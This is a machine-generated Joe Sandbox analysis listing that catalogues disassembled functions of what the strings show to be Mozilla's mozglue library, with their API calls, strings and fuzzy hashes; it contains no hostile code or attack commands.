Part of subcall function 6C554290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C593EBD,6C593EBD,00000000), ref: 6C5542A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C5B18C7
Details, xrefs: 6C5B1925
name, xrefs: 6C5B1939

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 817315d36aa55b0930772068a7efe1ddd3a578936169fe00473b5c795acf12c2
Instruction ID: 332a34fc7baa23d63a9354d2a11a8ea4f21f1c361d8998e692702b6cca6417a4
Opcode Fuzzy Hash: 817315d36aa55b0930772068a7efe1ddd3a578936169fe00473b5c795acf12c2
Instruction Fuzzy Hash: 4871EFB0A0034ADFCB04DF28D85469ABBB1FF85304F44466DD8155BB41DB70BAA8CBE6

Function 6C57D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

EnterCriticalSection.KERNEL32(6C5DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C58D1C5), ref: 6C57D4F2
LeaveCriticalSection.KERNEL32(6C5DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C58D1C5), ref: 6C57D50B

Part of subcall function 6C55CFE0: EnterCriticalSection.KERNEL32(6C5DE784), ref: 6C55CFF6
Part of subcall function 6C55CFE0: LeaveCriticalSection.KERNEL32(6C5DE784), ref: 6C55D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C58D1C5), ref: 6C57D52E
EnterCriticalSection.KERNEL32(6C5DE7DC), ref: 6C57D690
LeaveCriticalSection.KERNEL32(6C5DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C58D1C5), ref: 6C57D751

Strings

MOZ_CRASH(), xrefs: 6C57D4BB

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 300542272cca600765e65888f986463985f6af4321dc4aab0ba1b0ae4c2401f5
Instruction ID: 11b3be9b5e57e28133bb94b5e3e2dc3c5ea92fa2a03c09e16b56035dc385ff57
Opcode Fuzzy Hash: 300542272cca600765e65888f986463985f6af4321dc4aab0ba1b0ae4c2401f5
Instruction Fuzzy Hash: 5551E071A047018FD764CF28C89471AB7E1EF8A704F558A2ED599C7B85D770F880CBA6

Function 6C5A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5A4721

Strings

-%llu, xrefs: 6C5A4733
profiler-paused, xrefs: 6C5A46E4
., xrefs: 6C5A476A

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 425a08f02fb408f05c2aea9ec0ccd5b207d79098408db27eddf46bfd73712658
Instruction ID: 8b7751674e76b5708338d62d5307a4491169be9a295fca82176f107f1fc3b9e5
Opcode Fuzzy Hash: 425a08f02fb408f05c2aea9ec0ccd5b207d79098408db27eddf46bfd73712658
Instruction Fuzzy Hash: 20416671A047089BCB08DFB9DC4115EBBF5EF85744F11872EE85597B91EB30A8468742

Function 6C5C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C5C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C5C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5C98D9

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 34228279f80559bc2dc0595ebba380fe922e9d255f598f6a8dbce47fc9c897d8
Instruction ID: d801d94c111b9ec657b6a04c0594da9f1c7f696a68032ac26273308a12905604
Opcode Fuzzy Hash: 34228279f80559bc2dc0595ebba380fe922e9d255f598f6a8dbce47fc9c897d8
Instruction Fuzzy Hash: 75310871B00218AFDB14AF59DC445EF77A9DF85718F50802DEA0A9BB40DB71AD04CBE5

Function 6C5A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5A4721

Part of subcall function 6C554410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C593EBD,00000017,?,00000000,?,6C593EBD,?,?,6C5542D2), ref: 6C554444

Strings

-%llu, xrefs: 6C5A4733
profiler-paused, xrefs: 6C5A46E4
., xrefs: 6C5A476A

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: c1eb0bace2592374fe062687dc232b71a3fc6a6fc5dd060cb7bdede1cfe23963
Instruction ID: a01f62582e8fd157af70bf1f34bad39ffa2d1280496a75ad9575e5259a82a639
Opcode Fuzzy Hash: c1eb0bace2592374fe062687dc232b71a3fc6a6fc5dd060cb7bdede1cfe23963
Instruction Fuzzy Hash: 71311871F042189BCB08DFEDDC8129DBBE69B88314F55863EE8059BB41EB7099068B50

Function 6C5AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C554290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C593EBD,6C593EBD,00000000), ref: 6C5542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C5AB127), ref: 6C5AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C5AB4E4

Strings

pid:, xrefs: 6C5AB4DE

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 017d8a409fab83f9f93426410ff8bfbfbe3cdfdad98301b1074941101a48628d
Instruction ID: 29b0d85eb070d21c6e9bc9c513db8ace8268e6d4bc48c129100d085528091445
Opcode Fuzzy Hash: 017d8a409fab83f9f93426410ff8bfbfbe3cdfdad98301b1074941101a48628d
Instruction Fuzzy Hash: 7131D531A01218DFDB10EFEADC40A9EB7B6FF49718F540529D81167A41E732A946CBE1

Function 6C56BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C5B7A3F), ref: 6C56BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C5B7A3F), ref: 6C56BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C5B7A3F), ref: 6C56BF7E

Strings

\l, xrefs: 6C56BF84

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: \l
API String ID: 4279176481-3329751103
Opcode ID: 047baccaad570ebde3f79787147294235866e02406eafe4d4604f43da334e63c
Instruction ID: 74427b551243a92f9f3a1677fad75d2be036bc67fdc4a3c973f8482451a41fd4
Opcode Fuzzy Hash: 047baccaad570ebde3f79787147294235866e02406eafe4d4604f43da334e63c
Instruction Fuzzy Hash: 1A11BF793007048FC729DF4CD999A26FBF8FB59304355885DE98A8B751C771B800CB95

Function 6C59E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C59E577
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59E584
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C59E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C59E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C59E722, 6C59E750, 6C59E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C59E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C59E826, 6C59E850
MOZ_PROFILER_STARTUP, xrefs: 6C59E5A1, 6C59E5CC, 6C59E5FF, 6C59E62A

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 5fdff5c00c50554e5e00628fafd0f4674b870d3ada06a997ae9bd23f48f5b6dc
Instruction ID: 111e67d144b94bd3d1fb1b47754c1dcdcdd7e2fd282a144387dcb4600f600508
Opcode Fuzzy Hash: 5fdff5c00c50554e5e00628fafd0f4674b870d3ada06a997ae9bd23f48f5b6dc
Instruction Fuzzy Hash: 8C11A131604394DFCB00AF18CC48B5ABBF5FB8932AF460619E84547750D770B804CB9D

Function 6C5A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5A0CD5

Part of subcall function 6C58F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C58F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5A0D40
free.MOZGLUE ref: 6C5A0DCB

Part of subcall function 6C575E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C575EDB
Part of subcall function 6C575E90: memset.VCRUNTIME140(ew[l,000000E5,?), ref: 6C575F27
Part of subcall function 6C575E90: LeaveCriticalSection.KERNEL32(?), ref: 6C575FB2

free.MOZGLUE ref: 6C5A0DDD
free.MOZGLUE ref: 6C5A0DF2

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0c97f509d228be5412e8ef9544deab28b31b396920ea0aa914e946d2d04d2b3f
Instruction ID: 53c74e9cbb454e5ba8bbc9cf0fda78c0eff4d7ad6cbf5f8fe5276db7bccc6fab
Opcode Fuzzy Hash: 0c97f509d228be5412e8ef9544deab28b31b396920ea0aa914e946d2d04d2b3f
Instruction Fuzzy Hash: 5D413871918780CBD720CF6AC84039EFBE5BFC8614F518A2EE8D987750D770A885CB92

Function 6C590800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE7DC), ref: 6C590838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C59084C
EnterCriticalSection.KERNEL32(?), ref: 6C5908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5908BD
LeaveCriticalSection.KERNEL32(6C5DE7DC), ref: 6C5908D5

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 65b7a9ee95d465a609fdb86934da21ee9d8ce6c0993bc63787cc27d065fce942
Instruction ID: 1e6d330aae84fe014e89718e30ea162ade5454eb74265945d0dde502805e7787
Opcode Fuzzy Hash: 65b7a9ee95d465a609fdb86934da21ee9d8ce6c0993bc63787cc27d065fce942
Instruction Fuzzy Hash: 4721A13170138A9BDB049F659C44BAEB379EF89709F510969D509A7B40DB71A804CBD8

Function 6C5ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C59DA31,00100000,?,?,00000000,?), ref: 6C5ACDA4

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

Part of subcall function 6C5AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C5ACDBA,00100000,?,00000000,?,6C59DA31,00100000,?,?,00000000,?), ref: 6C5AD158
Part of subcall function 6C5AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C5ACDBA,00100000,?,00000000,?,6C59DA31,00100000,?,?,00000000,?), ref: 6C5AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C59DA31,00100000,?,?,00000000,?), ref: 6C5ACDC4

Part of subcall function 6C5A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C5B15FC,?,?,?,?,6C5B15FC,?), ref: 6C5A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C59DA31,00100000,?,?,00000000,?), ref: 6C5ACECC

Part of subcall function 6C56CA10: mozalloc_abort.MOZGLUE(?), ref: 6C56CAA2

Part of subcall function 6C59CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C5ACEEA,?,?,?,?,00000000,?,6C59DA31,00100000,?,?,00000000), ref: 6C59CB57
Part of subcall function 6C59CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C59CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C5ACEEA,?,?), ref: 6C59CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C59DA31,00100000,?,?,00000000,?), ref: 6C5AD058

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: b3cfe2f42b446f2b8de510897152de5add1811c4c6b32c900863169d23583466
Instruction ID: 6d5ebdd84b00d76f32ab54b47628c72df333126d3838ccbe5ea79abbf77e333c
Opcode Fuzzy Hash: b3cfe2f42b446f2b8de510897152de5add1811c4c6b32c900863169d23583466
Instruction Fuzzy Hash: E5D16F71A04B46DFD708DF29C880B99F7E1BF89308F01866DD9598B711EB31B9A5CB81

Function 6C561720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5618EE
free.MOZGLUE(?), ref: 6C561911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56194C

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 9b7bdfd387c33a9a94ca90250d6b8b961cfafbca132f0afbab9b396e6a9b300e
Instruction ID: 902e0c0e6aac4fc8f84fcef600ae31431af8e43ae8b412e70566f3c8274e2684
Opcode Fuzzy Hash: 9b7bdfd387c33a9a94ca90250d6b8b961cfafbca132f0afbab9b396e6a9b300e
Instruction Fuzzy Hash: F8819170A112059FCB08CF69DC949AFBBB1FF89314F04456DE851ABB64DB30E954CBA2

Function 6C575C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C575D40
EnterCriticalSection.KERNEL32(6C5DF688), ref: 6C575D67
__aulldiv.LIBCMT ref: 6C575DB4
LeaveCriticalSection.KERNEL32(6C5DF688), ref: 6C575DED

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 23ae84298bb2d4ddd68b1b5f7b06cf8079e8670c8c638ab25582d0d573be2659
Instruction ID: c990de204aa18445c8ae3338ad6ab9230c2eac4ac717615cf06d0cd517cd8895
Opcode Fuzzy Hash: 23ae84298bb2d4ddd68b1b5f7b06cf8079e8670c8c638ab25582d0d573be2659
Instruction Fuzzy Hash: 47517371E002198FCF18CF68CD54AAEB7B1FB85304F5A861DE811A7B50D7707945CB94

Function 6C55CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C55CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C55CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C55CF4E

Strings

0, xrefs: 6C55CF30

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 1cab65194c71b5257ae4fa11e4b39c3336a5278d5b534686eda64d5a535fa393
Instruction ID: 6c1424d9b92c50c802ff637a76bf50bb7333585acc95f4866593180207bd0af3
Opcode Fuzzy Hash: 1cab65194c71b5257ae4fa11e4b39c3336a5278d5b534686eda64d5a535fa393
Instruction Fuzzy Hash: A951F075A00216CFCB01CF18C890AAABBA5EF99300F19859ED8595F792D731BD16CBE0

Function 6C5B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C5B7829

Part of subcall function 6C58CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5531A7), ref: 6C58CC45
Part of subcall function 6C58CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5531A7), ref: 6C58CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5B78CF

Part of subcall function 6C554DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C554E5A
Part of subcall function 6C554DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C554E97

Part of subcall function 6C554290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C593EBD,6C593EBD,00000000), ref: 6C5542A9

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 1da352e2b1d1b66099ce16b2e355fa3d10c801a1cdacc42a2d31f752fbfbae33
Instruction ID: 8e19aef0d94d6d468a2a99ead3917101ed0e988eea3dfbdfb80bbd9910d9637a
Opcode Fuzzy Hash: 1da352e2b1d1b66099ce16b2e355fa3d10c801a1cdacc42a2d31f752fbfbae33
Instruction Fuzzy Hash: A941A171904746DBD300DF29C88056AFBF4FFCA254F604A1EE4A987690DB70E959CB92

Function 6C596470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5982BC,?,?), ref: 6C59649B

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5964A9

Part of subcall function 6C58FA80: GetCurrentThreadId.KERNEL32 ref: 6C58FA8D
